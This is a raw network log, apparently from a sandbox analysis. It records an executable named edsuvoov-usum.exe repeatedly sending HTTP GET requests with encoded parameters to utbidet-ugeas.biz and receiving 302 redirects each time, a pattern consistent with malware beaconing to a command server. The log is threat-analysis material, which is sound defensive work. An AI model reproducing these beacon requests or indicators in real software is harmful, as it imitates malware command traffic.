Sep 7, 2024 15:33:57.364600897 CEST	169	OUT	GET /d/N?025C90F0795C90F0796E90DC795C907EAAC8A858235D9030D15E93C6576EBEC94B6CA0DE79 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:33:57.860641003 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:33:57 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025C90F0795C90F0796E90DC795C907EAAC8A858235D9030D15E93C6576EBEC94B6CA0DE79 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.3	49711	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:00.088243961 CEST	201	OUT	GET /d/N?025C90F0795C90F0796E90DC795C907EAAC8A858235D9030D15E93C6576EBEC94B6CA0DE79 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:00.576472044 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:00 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025C90F0795C90F0796E90DC795C907EAAC8A858235D9030D15E93C6576EBEC94B6CA0DE79 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.3	49713	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:01.104079962 CEST	169	OUT	GET /d/N?0224E513A724E513A716E53FA724E59D74B0DDBBFD25E5D30F26E6258916CB2A9514D53DA7 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:01.586461067 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:01 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0224E513A724E513A716E53FA724E59D74B0DDBBFD25E5D30F26E6258916CB2A9514D53DA7 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.3	49714	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:01.592946053 CEST	201	OUT	GET /d/N?0224E513A724E513A716E53FA724E59D74B0DDBBFD25E5D30F26E6258916CB2A9514D53DA7 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:02.076724052 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:02 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0224E513A724E513A716E53FA724E59D74B0DDBBFD25E5D30F26E6258916CB2A9514D53DA7 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.3	49716	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:02.415241003 CEST	169	OUT	GET /d/N?023421E6213421E6210621CA21342168F2A0194E7B352126893622D00F060FDF130411C821 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:02.895457029 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:02 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023421E6213421E6210621CA21342168F2A0194E7B352126893622D00F060FDF130411C821 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.3	49717	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:02.901575089 CEST	201	OUT	GET /d/N?023421E6213421E6210621CA21342168F2A0194E7B352126893622D00F060FDF130411C821 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:03.385803938 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:03 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023421E6213421E6210621CA21342168F2A0194E7B352126893622D00F060FDF130411C821 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.3	49719	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:03.569951057 CEST	169	OUT	GET /d/N?0254F4433754F4433766F46F3754F4CDE4C0CCEB6D55F4839F56F7751966DA7A0564C46D37 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:04.059454918 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:04 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0254F4433754F4433766F46F3754F4CDE4C0CCEB6D55F4839F56F7751966DA7A0564C46D37 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.3	49720	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:04.065726995 CEST	201	OUT	GET /d/N?0254F4433754F4433766F46F3754F4CDE4C0CCEB6D55F4839F56F7751966DA7A0564C46D37 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:04.549241066 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:04 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0254F4433754F4433766F46F3754F4CDE4C0CCEB6D55F4839F56F7751966DA7A0564C46D37 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.3	49722	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:06.601445913 CEST	169	OUT	GET /d/N?02883DBC9B8F3DBC9BBA3D949B883D32481C0514C1893D7C338A3E8AB5BA1385A9B80D929B HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:07.093805075 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:07 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02883DBC9B8F3DBC9BBA3D949B883D32481C0514C1893D7C338A3E8AB5BA1385A9B80D929B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.3	49723	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:07.105074883 CEST	201	OUT	GET /d/N?02883DBC9B8F3DBC9BBA3D949B883D32481C0514C1893D7C338A3E8AB5BA1385A9B80D929B HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:07.602106094 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:07 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02883DBC9B8F3DBC9BBA3D949B883D32481C0514C1893D7C338A3E8AB5BA1385A9B80D929B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.3	49725	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:08.398993969 CEST	169	OUT	GET /d/N?02C3651025C4651025F1653825C3659EF6575DB87FC265D08DC166260BF14B2917F3553E25 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:08.884773016 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:08 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C3651025C4651025F1653825C3659EF6575DB87FC265D08DC166260BF14B2917F3553E25 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.3	49727	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:08.895874977 CEST	201	OUT	GET /d/N?02C3651025C4651025F1653825C3659EF6575DB87FC265D08DC166260BF14B2917F3553E25 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:09.377194881 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:09 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C3651025C4651025F1653825C3659EF6575DB87FC265D08DC166260BF14B2917F3553E25 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.3	49729	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:09.820045948 CEST	169	OUT	GET /d/N?02807A0D42877A0D42B27A2542807A83911442A518817ACDEA82793B6CB2543470B04A2342 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:10.293497086 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:10 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02807A0D42877A0D42B27A2542807A83911442A518817ACDEA82793B6CB2543470B04A2342 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.3	49730	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:10.299624920 CEST	201	OUT	GET /d/N?02807A0D42877A0D42B27A2542807A83911442A518817ACDEA82793B6CB2543470B04A2342 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:10.782083988 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:10 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02807A0D42877A0D42B27A2542807A83911442A518817ACDEA82793B6CB2543470B04A2342 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.3	49732	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:10.944789886 CEST	169	OUT	GET /d/N?02607BE3D5677BE3D5527BCBD5607B6D06F4434B8F617B237D6278D5FB5255DAE7504BCDD5 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:34:11.429979086 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:11 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02607BE3D5677BE3D5527BCBD5607B6D06F4434B8F617B237D6278D5FB5255DAE7504BCDD5 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.3	60144	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:11.436605930 CEST	201	OUT	GET /d/N?02607BE3D5677BE3D5527BCBD5607B6D06F4434B8F617B237D6278D5FB5255DAE7504BCDD5 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:34:11.942900896 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:34:11 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02607BE3D5677BE3D5527BCBD5607B6D06F4434B8F617B237D6278D5FB5255DAE7504BCDD5 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.3	60146	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:34:13.439306974 CEST	169	OUT	GET /d/N?0279CB82A47ECB82A44BCBAAA479CB0C77EDF32AFE78CB420C7BC8B48A4BE5BB9649FBACA4 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
